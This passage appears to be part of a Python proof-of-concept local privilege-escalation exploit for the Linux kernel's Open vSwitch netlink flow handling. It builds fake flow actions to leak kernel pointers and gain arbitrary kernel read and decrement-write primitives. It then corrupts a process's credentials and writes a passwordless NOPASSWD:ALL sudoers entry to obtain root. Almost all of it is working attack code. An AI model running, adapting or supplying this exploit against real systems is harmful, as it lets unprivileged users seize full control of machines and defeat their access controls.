carrier mode {mode!r}") self.mode = mode self.label = label self.timeout_disabled = False def names(self) -> tuple[str, ...]: if self.mode != CARRIER_AUTO: return (self.mode,) if self.timeout_disabled: return (CARRIER_LABELS_ONLY,) return CARRIER_ORDER def retry_after(self, carrier: str, has_next: bool) -> bool: if self.mode != CARRIER_AUTO or carrier != CARRIER_TIMEOUT or not has_next: return False print( f"fake SET timeout carrier failed for {self.label}; " "using labels-only carrier", flush=True, ) self.timeout_disabled = True return True def create_flow( genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes, actions: bytes, ) -> None: payload = ( struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key) + nla(OVS_FLOW_ATTR_ACTIONS, actions) ) genl.request( family_id, OVS_FLOW_CMD_NEW, OVS_FLOW_VERSION, payload, NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE, ) def delete_flow(genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes) -> None: payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key) genl.request( family_id, OVS_FLOW_CMD_DEL, OVS_FLOW_VERSION, payload, NLM_F_REQUEST | NLM_F_ACK, ) def get_flow_actions( genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes ) -> bytes: payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key) replies = genl.request(family_id, OVS_FLOW_CMD_GET, OVS_FLOW_VERSION, payload) if not replies: raise RuntimeError("flow get returned no replies") for attr in parse_attrs(replies[0][8:]): if attr.attr_type == OVS_FLOW_ATTR_ACTIONS: return attr.payload raise RuntimeError("flow get response did not include actions") def likely_kernel_pointers(buf: bytes) -> list[tuple[int, int]]: hits: list[tuple[int, int]] = [] for offset in range(0, max(0, len(buf) - 7)): value = struct.unpack_from(" int: for top in parse_attrs(actions): if top.attr_type == OVS_ACTION_ATTR_OUTPUT and top.raw_len == 512: hits = likely_kernel_pointers(top.payload) helperish = [ value for _off, value in hits if 0xFFFFFFFFC0000000 <= value <= 0xFFFFFFFFDFFFFFFF and (value & 0x7) == 0 ] if helperish: return helperish[0] if hits: return hits[0][1] raise RuntimeError("no helper pointer found in fake OUTPUT leak") class OvsReadPrimitive: def __init__( self, genl: GenericNetlink, flow_family: int, dp_ifindex: int, offsets: KernelOffsets, carrier_mode: str = CARRIER_AUTO, preferred_lanes: tuple[str, ...] = (), ) -> None: self.genl = genl self.flow_family = flow_family self.dp_ifindex = dp_ifindex self.offsets = offsets self.carriers = FakeSetCarriers(carrier_mode, "read") self.seq = 1000 self.scalar_lanes = ( TunnelReadLane( "tos", offsets.ip_tunnel_key_tos, OVS_TUNNEL_KEY_ATTR_TOS, 0, True, ), TunnelReadLane( "ttl", offsets.ip_tunnel_key_ttl, OVS_TUNNEL_KEY_ATTR_TTL, 0, False, ), TunnelReadLane( "tp_src_0", offsets.ip_tunnel_key_tp_src, OVS_TUNNEL_KEY_ATTR_TP_SRC, 0, True, ), TunnelReadLane( "tp_src_1", offsets.ip_tunnel_key_tp_src + 1, OVS_TUNNEL_KEY_ATTR_TP_SRC, 1, True, ), TunnelReadLane( "tp_dst_0", offsets.ip_tunnel_key_tp_dst, OVS_TUNNEL_KEY_ATTR_TP_DST, 0, True, ), TunnelReadLane( "tp_dst_1", offsets.ip_tunnel_key_tp_dst + 1, OVS_TUNNEL_KEY_ATTR_TP_DST, 1, True, ), ) self.ipv4_lanes = tuple( TunnelReadLane( f"ipv4_src_{index}", offsets.ip_tunnel_key_ipv4_src + index, OVS_TUNNEL_KEY_ATTR_IPV4_SRC, index, True, ) for index in range(4) ) + tuple( TunnelReadLane( f"ipv4_dst_{index}", offsets.ip_tunnel_key_ipv4_dst + index, OVS_TUNNEL_KEY_ATTR_IPV4_DST, index, True, ) for index in range(4) ) default_lanes = self.scalar_lanes + self.ipv4_lanes preferred_names = set(preferred_lanes) preferred = tuple( lane for name in preferred_lanes for lane in default_lanes if lane.name == name ) remaining = tuple(lane for lane in default_lanes if lane.name not in preferred_names) self.read_lanes = preferred + remaining def read_u8_with_lane(self, address: int, lane: TunnelReadLane) -> int | None: key_start = address - lane.field_offset tun_dst = key_start - self.offsets.metadata_dst_tun_info dumped = b"" carriers = self.carriers.names() for index, carrier in enumerate(carriers): self.seq += 1 key = flow_key(self.seq) actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets) try: create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions) dumped = get_flow_actions( self.genl, self.flow_family, self.dp_ifindex, key ) break except (OSError, RuntimeError) as exc: if fake_set_carrier_error(exc): if self.carriers.retry_after(carrier, index + 1 < len(carriers)): continue return None raise for top in parse_attrs(dumped): if top.attr_type != OVS_ACTION_ATTR_SET: continue for tunnel_key in parse_attrs(top.payload): if tunnel_key.attr_type != OVS_KEY_ATTR_TUNNEL: continue saw_tunnel = False for tunnel_attr in parse_attrs(tunnel_key.payload): if tunnel_attr.attr_type == OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE: return None saw_tunnel = True if tunnel_attr.attr_type == lane.attr_type: if len(tunnel_attr.payload) <= lane.payload_index: raise RuntimeError( f"unexpected {lane.name} payload length " f"{len(tunnel_attr.payload)}" ) return tunnel_attr.payload[lane.payload_index] if saw_tunnel and lane.optional_zero: return 0 return None def read_u8(self, address: int) -> int: for lane in self.read_lanes: value = self.read_u8_with_lane(address, lane) if value is not None: return value raise RuntimeError( f"fixed tunnel carriers could not read byte at 0x{address:016x}" ) def read_bytes(self, address: int, size: int) -> bytes: return bytes(self.read_u8(address + offset) for offset in range(size)) def read_u32(self, address: int) -> int: return int(struct.unpack(" int: return int(struct.unpack(" None: self.genl = genl self.flow_family = flow_family self.dp_ifindex = dp_ifindex self.offsets = offsets self.carriers = FakeSetCarriers(carrier_mode, "write") self.seq = 100000000 def decrement_u32_once(self, target_address: int) -> None: tun_dst = target_address - self.offsets.dst_entry_ref carriers = self.carriers.names() for index, carrier in enumerate(carriers): self.seq += 1 key = flow_key(self.seq) actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets) try: create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions) delete_flow(self.genl, self.flow_family, self.dp_ifindex, key) return except OSError as exc: if exc.errno == errno.ENOMEM: raise RuntimeError( "Ran out of memory; reattempt the PoC after a reboot " "or with more RAM (recommended 2GB+)." ) from exc if fake_set_carrier_error(exc): if self.carriers.retry_after(carrier, index + 1 < len(carriers)): continue raise RuntimeError( f"fake SET {carrier} write carrier failed" ) from exc raise def valid_vmlinux_base(value: int) -> bool: return ( 0xFFFFFFFF80000000 <= value <= 0xFFFFFFFFF0000000 and value % 0x200000 == 0 ) def derive_helper_module_ktype( reader: OvsReadPrimitive, helper_me_address: int, helper_pointer: int, offsets: KernelOffsets, ) -> int: module_pointer = canonicalize_kernel_pointer(reader.read_u64(helper_me_address)) if not ( canonical_kernel_pointer(module_pointer) and helper_pointer - 0x800000 <= module_pointer <= helper_pointer + 0x800000 ): raise RuntimeError( "helper->me did not read as a nearby canonical module pointer: " f"helper=0x{helper_pointer:016x} me=0x{module_pointer:016x}" ) ktype_addr = module_pointer + offsets.module_kobj_ktype module_ktype = canonicalize_kernel_pointer(reader.read_u64(ktype_addr)) if not valid_vmlinux_base(module_ktype - offsets.vmlinux_module_ktype): raise RuntimeError( f"module.kobj.ktype at 0x{ktype_addr:016x} read " f"0x{module_ktype:016x}, which does not match the expected " "vmlinux symbol offset" ) log(f"helper->me module pointer 0x{module_pointer:016x} validated directly") return module_ktype def canonicalize_kernel_pointer(value: int) -> int: if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF: return value if 0x0000008000000000 <= value <= 0x000000FFFFFFFFFF: return value | 0xFFFFFF0000000000 if 0x0000800000000000 <= value <= 0x0000FFFFFFFFFFFF: return value | 0xFFFF000000000000 if 0x0080000000000000 <= value <= 0x00FFFFFFFFFFFFFF: return value | 0xFF00000000000000 return value def canonical_kernel_pointer(value: int) -> bool: canonical = canonicalize_kernel_pointer(value) return 0xFF00000000000000 <= canonical <= 0xFFFFFFFFFFFFFFFF and canonical % 8 == 0 def read_kernel_pointer( reader: OvsReadPrimitive, address: int, label: str, ) -> int: pointer = canonicalize_kernel_pointer(reader.read_u64(address)) if not canonical_kernel_pointer(pointer): raise RuntimeError( f"{label} at 0x{address:016x} is not a canonical kernel pointer: " f"0x{pointer:016x}" ) return pointer def xarray_entry_to_node(entry: int) -> int | None: if entry == 0 or (entry & 0x3) != 0x2: return None node = canonicalize_kernel_pointer(entry & ~0x3) if canonical_kernel_pointer(node): return node return None def xarray_entry_to_pointer(entry: int) -> int | None: if entry == 0 or (entry & 0x3) != 0: return None pointer = canonicalize_kernel_pointer(entry) if canonical_kernel_pointer(pointer): return pointer return None def read_xarray_entry( reader: OvsReadPrimitive, address: int, label: str, ) -> int: value = reader.read_u64(address) node = xarray_entry_to_node(value) if node is not None: return node | 0x2 pointer = xarray_entry_to_pointer(value) if pointer is not None: return pointer raise RuntimeError( f"{label} at 0x{address:016x} is not a valid XArray entry: " f"0x{value:016x}" ) def read_xa_shift(reader: OvsReadPrimitive, address: int) -> int: value = reader.read_u8(address) if value > 60 or value % 6 != 0: raise RuntimeError( f"XArray node shift at 0x{address:016x} is invalid: {value}" ) return value def lookup_init_pid_ns_pid( reader: OvsReadPrimitive, offsets: KernelOffsets, kernel_base: int, pid_nr: int, ) -> int: idr_addr = kernel_base + offsets.vmlinux_init_pid_ns + offsets.pid_namespace_idr idr_base = reader.read_u32(idr_addr + offsets.idr_base) if pid_nr < idr_base: raise RuntimeError(f"pid {pid_nr} is below init pid namespace idr_base {idr_base}") index = pid_nr - idr_base xarray_addr = idr_addr + offsets.idr_idr_rt entry = read_xarray_entry( reader, xarray_addr + offsets.xarray_xa_head, "init_pid_ns.idr.xa_head", ) for depth in range(8): node = xarray_entry_to_node(entry) if node is not None: shift = read_xa_shift(reader, node + offsets.xa_node_shift) slot = (index >> shift) & 0x3F entry = read_xarray_entry( reader, node + offsets.xa_node_slots + slot * 8, f"init_pid_ns.idr.slot[{slot}]", ) continue pointer = xarray_entry_to_pointer(entry) if pointer is not None: return pointer raise RuntimeError(f"init_pid_ns idr traversal exceeded depth limit for pid {pid_nr}") def locate_task_by_init_pid_ns( reader: OvsReadPrimitive, offsets: KernelOffsets, kernel_base: int, wanted_pid: int, ) -> int: pid_struct = lookup_init_pid_ns_pid(reader, offsets, kernel_base, wanted_pid) first = read_kernel_pointer( reader, pid_struct + offsets.pid_tasks + offsets.hlist_head_first, "pid.tasks.first", ) task = first - offsets.task_pid_links if not canonical_kernel_pointer(task): raise RuntimeError( f"init_pid_ns idr produced noncanonical task from hlist: " f"pid_struct=0x{pid_struct:016x} hlist=0x{first:016x}" ) pid = reader.read_u32(task + offsets.task_pid) if pid != wanted_pid: raise RuntimeError( f"init_pid_ns idr resolved pid_struct=0x{pid_struct:016x} " f"task=0x{task:016x}, but task.pid={pid}, expected {wanted_pid}" ) print( f"located task through init_pid_ns idr: " f"pid_struct=0x{pid_struct:016x} task=0x{task:016x}", flush=True, ) return task def resolve_writer_task_and_offsets( reader: OvsReadPrimitive, plans: tuple[KernelParameterPlan, ...], helper_pointer: int, writer_pid: int, ) -> tuple[int, KernelOffsets, int, int]: failures: list[str] = [] for plan in plans: try: module_ktype = derive_helper_module_ktype( reader, helper_pointer + plan.offsets.nf_conntrack_helper_me, helper_pointer, plan.offsets, ) kernel_base = module_ktype - plan.offsets.vmlinux_module_ktype task = locate_task_by_init_pid_ns( reader, plan.offsets, kernel_base, writer_pid, ) cred_addr = task + plan.offsets.task_cred read_kernel_pointer(reader, cred_addr, "task->cred") log(f"kernel offsets: selected plan {plan.name!r}") return task, plan.offsets, kernel_base, module_ktype except RuntimeError as exc: if is_retriable_kernel_layout_error(exc): log(f"kernel offsets: plan {plan.name!r} failed: {exc}") failures.append(f"{plan.name}: {exc}") continue raise raise RuntimeError( "all kernel offset plans failed while locating the host sudoers writer; " "tried: " + ("; ".join(failures) if failures else "no plans were configured") ) def decrement_to_zero( reader: OvsReadPrimitive, writer: OvsWritePrimitive, address: int, label: str, ) -> None: value = reader.read_u32(address) print(f"{label} before={value}", flush=True) if value > 100000: raise RuntimeError(f"{label} value {value} is unexpectedly large") for idx in range(value): writer.decrement_u32_once(address) if idx and idx % 250 == 0: print(f"{label}: queued {idx}/{value} decrements", flush=True) time.sleep(2.0) now = reader.read_u32(address) if now != 0: raise RuntimeError(f"{label} did not reach zero; current value is {now}") print(f"{label} after=0", flush=True) def decrement_zero_to_all_ones( reader: OvsReadPrimitive, writer: OvsWritePrimitive, address: int, label: str, ) -> None: value = reader.read_u32(address) print(f"{label} before=0x{value:08x}", flush=True) if value != 0: raise RuntimeError( f"{label} expected to start at zero for legacy __refcnt conversion, " f"got 0x{value:08x}" ) writer.decrement_u32_once(address) time.sleep(0.5) now = reader.read_u32(address) if now != 0xFFFFFFFF: raise RuntimeError( f"{label} did not wrap to 0xffffffff; current value is 0x{now:08x}" ) print(f"{label} after=0xffffffff", flush=True) def panic_on_warn_enabled() -> bool: try: with open("/proc/sys/kernel/panic_on_warn", "r", encoding="ascii") as handle: return handle.read().strip() not in ("", "0") except OSError: return False def convert_writer_credential( reader: OvsReadPrimitive, writer: OvsWritePrimitive, offsets: KernelOffsets, cred: int, ) -> None: if offsets.dst_entry_ref_kind == "__rcuref": step("DECREMENTING FSUID/FSGID") decrement_to_zero(reader, writer, cred + offsets.cred_fsuid, "fsuid") decrement_to_zero(reader, writer, cred + offsets.cred_fsgid, "fsgid") return if offsets.dst_entry_ref_kind == "__refcnt": if panic_on_warn_enabled(): raise RuntimeError( "legacy dst_entry.__refcnt conversion would trigger a kernel " "WARN while wrapping capability words, and panic_on_warn is enabled" ) print( "legacy dst_entry.__refcnt conversion: panic_on_warn is disabled; " "wrapping capability words may emit one nonfatal dst_release warning", flush=True, ) step("WRAPPING HOST WRITER CAPABILITIES") decrement_zero_to_all_ones( reader, writer, cred + offsets.cred_cap_permitted, "cap_permitted.low", ) decrement_zero_to_all_ones( reader, writer, cred + offsets.cred_cap_effective, "cap_effective.low", ) return raise RuntimeError(f"unsupported dst_entry ref kind {offsets.dst_entry_ref_kind}") def try_write_root_proof(path: str, text: str) -> bool: try: with open(path, "w", encoding="ascii") as handle: handle.write(text) os.sync() return True except OSError as exc: print(f"write {path} failed: errno={exc.errno} {exc.strerror}", flush=True) return False def restore_pam_unix_from_backup() -> bool: """Restore host pam_unix.so from a known-good backup (needs root creds).""" src = os.environ.get("OVS_C004_PAM_SRC", PAM_UNIX_BAK) dst = os.environ.get("OVS_C004_PAM_DST", PAM_UNIX_SO) try: with open(src, "rb") as handle: payload = handle.read() fd = os.open(dst, os.O_WRONLY | os.O_TRUNC) try: os.write(fd, payload) os.fsync(fd) finally: os.close(fd) os.sync() print(f"pam restore succeeded: {src} -> {dst} ({len(payload)} bytes)", flush=True) return True except OSError as exc: print( f"pam restore {dst} failed: errno={exc.errno} {exc.strerror}", flush=True, ) return False def sudoers_references_dropin_dir( sudoers_path: str = SUDOERS_FILE, dropin_dir: str = SUDOERS_DROPIN_DIR, ) -> bool: try: with open(sudoers_path, "r", encoding="ascii", errors="replace") as handle: for raw_line in handle: line = raw_line.strip() if not line: continue if line.startswith("#includedir") or line.startswith("@includedir"): fields = line.split() if len(fields) >= 2 and fields[1].strip("\"'") == dropin_dir: return True except OSError as exc: print( f"could not inspect {sudoers_path}: errno={exc.errno} {exc.strerror}", flush=True, ) return False def write_sudoers_dropin(path: str, username: str) -> bool: content = f"{username} ALL=(ALL) NOPASSWD:ALL\n".encode("ascii") old_umask = os.umask(0) try: os.makedirs(os.path.dirname(path), mode=0o755, exist_ok=True) fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) try: os.write(fd, content) os.fchmod(fd, 0o440) os.fsync(fd) finally: os.close(fd) os.sync() return True except OSError as exc: print( f"sudoers drop-in write {path} failed: errno={exc.errno} " f"{exc.strerror}", flush=True, ) return False finally: os.umask(old_umask) def append_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool: content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii") try: fd = os.open(path, os.O_WRONLY | os.O_APPEND) try: os.write(fd, content) os.fsync(fd) finally: os.close(fd) os.sync() return True except OSError as exc: print( f"sudoers append {path} failed: errno={exc.errno} {exc.strerror}", flush=True, ) return False def replace_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool: content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii") directory = os.path.dirname(path) tmp_path = os.path.join(directory, f".ovs_c004_sudoers_{os.getpid()}") try: with open(path, "rb") as handle: existing = handle.read() try: os.unlink(tmp_path) except FileNotFoundError: pass fd = os.open(tmp_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) try: os.write(fd, existing) os.write(fd, content) os.fchmod(fd, 0o440) os.fsync(fd) finally: os.close(fd) os.rename(tmp_path, path) dir_fd = os.open(directory, os.O_RDONLY | os.O_DIRECTORY) try: os.fsync(dir_fd) finally: os.close(dir_fd) os.sync() return True except OSError as exc: try: os.unlink(tmp_path) except OSError: pass print( f"sudoers replace {path} failed: errno={exc.errno} {exc.strerror}", flush=True, ) return False def write_sudoers_entry(path: str, username: str) -> tuple[bool, str]: if sudoers_references_dropin_dir(): if write_sudoers_dropin(path, username): return True, path print(f"falling back to direct append of {SUDOERS_FILE}", flush=True) else: print( f"{SUDOERS_FILE} does not reference {SUDOERS_DROPIN_DIR}; " "using direct sudoers append", flush=True, ) if append_main_sudoers(username): return True, SUDOERS_FILE print(f"falling back to atomic replacement of {SUDOERS_FILE}", flush=True) if replace_main_sudoers(username): return True, SUDOERS_FILE return False, "" def try_become_root_ids() -> None: try: os.setresgid(0, 0, 0) os.setresuid(0, 0, 0) except OSError: pass def sleep_forever_detached() -> None: os.setsid() devnull = os.open("/dev/null", os.O_RDWR) os.dup2(devnull, 0) os.dup2(devnull, 1) os.dup2(devnull, 2) if devnull > 2: os.close(devnull) while True: time.sleep(3600) def fork_sudoers_writer(path: str, username: str) -> tuple[int, int, int]: trigger_read, trigger_write = os.pipe() ack_read, ack_write = os.pipe() child = os.fork() if child == 0: os.close(trigger_write) os.close(ack_read) ok = False used_path = "" try: token = os.read(trigger_read, 1) if token == b"1": try_become_root_ids() if os.environ.get("OVS_C004_REPAIR_PAM", "1") == "1": restore_pam_unix_from_backup() if os.environ.get("OVS_C004_REPAIR_PAM_ONLY") == "1": ok = True used_path = PAM_UNIX_SO else: ok, used_path = write_sudoers_entry(path, username) ack = f"1 {used_path}\n".encode("ascii") if ok else b"0\n" os.write(ack_write, ack) except Exception: try: os.write(ack_write, b"0\n") except OSError: pass finally: for fd in (trigger_read, ack_write): try: os.close(fd) except OSError: pass if ok: sleep_forever_detached() os._exit(0) os.close(trigger_read) os.close(ack_write) print(f"host sudoers writer child pid={child}", flush=True) return child, trigger_write, ack_read def fork_namespace_pin() -> None: child = os.fork() if child == 0: sleep_forever_detached() print(f"namespace pin child pid={child}", flush=True) def trigger_sudoers_writer(trigger_fd: int, ack_fd: int) -> str: result = b"" try: os.write(trigger_fd, b"1") while True: chunk = os.read(ack_fd, 4096) if not chunk: break result += chunk finally: for fd in (trigger_fd, ack_fd): try: os.close(fd) except OSError: pass if not result.startswith(b"1 "): raise RuntimeError("sudoers writer child failed") return result[2:].decode("ascii", errors="replace").strip() def main() -> None: if len(sys.argv) > 1 and sys.argv[1] == "--child": host_user = validate_child_namespace() exploit_from_private_namespace(host_user) return if len(sys.argv) > 1: raise RuntimeError("usage: python3 ovswrap-poc.py") ensure_pahole_available() step("CHECKING LAUNCHING USER") host_uid, host_gid, host_user = launching_user() print( f"launching user: name={host_user} uid={host_uid} gid={host_gid}", flush=True, ) ensure_user_starts_without_passwordless_sudo(host_user) prepare_system_map_host() sudoers_path = f"/etc/sudoers.d/ovs_c004_{os.getpid()}" writer_pid, writer_trigger_fd, writer_ack_fd = fork_sudoers_writer( sudoers_path, host_user ) run_child_in_private_namespace( host_user, writer_pid, writer_trigger_fd, writer_ack_fd, ) def exploit_from_private_namespace(host_user: str) -> None: step("BEGINNING SETUP") print(f"host user for sudoers entry: {host_user}", flush=True) print(f"namespace uid/gid: uid={os.getuid()} gid={os.getgid()}", flush=True) print(f"process identity: {run_text(['id'])}", flush=True) print(f"effective capability mask: {process_status_line('CapEff:')}", flush=True) print(f"uid_map: {uid_map_first_entry()[3]}", flush=True) genl = GenericNetlink() dp_family = genl.get_family("ovs_datapath") flow_family = genl.get_family("ovs_flow") dp_name = f"vhrd{os.getpid() % 10000}" create_datapath(genl, dp_family, dp_name) dp_ifindex = socket.if_nametoindex(dp_name) print(f"datapath {dp_name} ifindex {dp_ifindex}", flush=True) step("DERIVING KERNEL OFFSETS") kernel_plans = tuple(build_kernel_parameter_plans()) kernel_record = next( (plan.record for plan in kernel_plans if plan.record is not None), None, ) derive_ovs_uapi_constants(kernel_record) offsets = kernel_plans[0].offsets writer_pid, writer_trigger_fd, writer_ack_fd = inherited_sudoers_writer() fork_namespace_pin() step("BUILDING OVS ACTION PRIMITIVES") fake_copy = struct.pack(NLA_HDR, 512, OVS_ACTION_ATTR_OUTPUT) helper_leak_key = flow_key(1) create_flow( genl, flow_family, dp_ifindex, helper_leak_key, clone_with_helper_leak(fake_copy), ) helper_leak_actions = get_flow_actions(genl, flow_family, dp_ifindex, helper_leak_key) helper_pointer = find_helper_pointer(helper_leak_actions) print(f"leaked helper-ish pointer 0x{helper_pointer:016x}", flush=True) read_carrier = ( kernel_record.read_carrier if kernel_record is not None else CARRIER_AUTO ) write_carrier = ( kernel_record.write_carrier if kernel_record is not None else CARRIER_AUTO ) read_lanes = kernel_record.read_lanes if kernel_record is not None else () reader = OvsReadPrimitive( genl, flow_family, dp_ifindex, offsets, read_carrier, read_lanes, ) writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier) step("CHECKING BASELINE WRITE") protected_path = f"/root/ovs_c004_lpe_proof_{os.getpid()}" if try_write_root_proof(protected_path, "pre-exploit should not write\n"): raise RuntimeError("unexpectedly wrote root proof path before exploit") step("LOCATING WRITER CREDENTIAL") task, offsets, kernel_base, module_ktype = resolve_writer_task_and_offsets( reader, kernel_plans, helper_pointer, writer_pid, ) writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier) print(f"module_ktype=0x{module_ktype:016x} kernel_base=0x{kernel_base:016x}", flush=True) cred = read_kernel_pointer(reader, task + offsets.task_cred, "task->cred") print( f"writer task=0x{task:016x} pid={writer_pid} cred=0x{cred:016x}", flush=True, ) convert_writer_credential(reader, writer, offsets, cred) step("WRITING SUDOERS ENTRY") used_sudoers_path = trigger_sudoers_writer(writer_trigger_fd, writer_ack_fd) print( f"sudoers write succeeded: {used_sudoers_path} user={host_user}", flush=True, ) print( "sudoers policy write achieved; returning to launcher for root shell", flush=True, ) if __name__ == "__main__": try: main() except RuntimeError as exc: print(f"ERROR: {exc}", flush=True) raise SystemExit(1) except OSError as exc: if exc.errno == errno.ENOMEM: print( "ERROR: Ran out of memory; reattempt the PoC after a reboot " "or with more RAM (recommended 2GB+).", flush=True, ) raise SystemExit(1) raise